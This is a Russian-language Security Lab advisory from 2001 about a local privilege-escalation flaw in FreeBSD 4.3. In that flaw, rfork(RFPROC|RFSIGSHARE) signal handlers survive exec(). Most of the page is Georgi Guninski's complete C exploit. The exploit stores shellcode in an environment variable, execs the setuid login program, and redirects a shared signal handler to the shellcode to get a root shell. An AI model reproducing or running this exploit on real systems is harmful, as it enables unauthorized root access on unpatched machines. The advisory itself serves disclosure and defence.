Security Lab

Локальный root для FreeBSD 4.3

Дата публикации:11.07.2001
Дата изменения:16.10.2006
Всего просмотров:1863
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

Как сообщил вчера Георгий Гунинский, найдена проблема в обработчике сигналов rfork(RFPROC|RFSIGSHARE). При выполнении команды exec() этот сигнал не очищается, что позволяет злоумышленнику встроить любой код в suid-приложение.

Уязвимость работает в FreeBSD 4.3 и возможно более ранних версиях.



#include <stdio.h>

#include <signal.h>

#include <unistd.h>

int vv1;



#define MYSIG SIGINT





//exec "/tmp/sh", shellcode gotten from the internet and modified

unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"

"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"

"\x31\xc0\x50\x50\xb0\x17\xcd\x80"

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"

"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"

"\xb0\x3b\x50\xcd\x80\x90\x90\x90";



typedef (*PROG)();

extern char **environ;



int main(int ac,char **av)

{

int pid;

//(*(PROG)bsdshell)();

if(!(vv1=getenv("vv")))

{

setenv("vv",bsdshell,1);

if(!execle(av[0],"vv",NULL,environ))

{

perror("weird exec");

exit(1);

}

}



printf("vvfreebsd. Written by Georgi Guninski\n");

printf("shall jump to %x\n",vv1);



if(!(pid=rfork(RFPROC|RFSIGSHARE)))

{

printf("child=%d\n",getpid());

// /usr/bin/login and rlogin work for me. ping gives nonsuid shell

// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))

if(!execl("/usr/bin/login","login",0))

{

perror("exec setuid failed");

exit(2);

};

}

sleep(2);

signal(MYSIG,(sig_t)vv1);

sleep(2);

kill(pid,MYSIG);

printf("done\n");

while(42);

}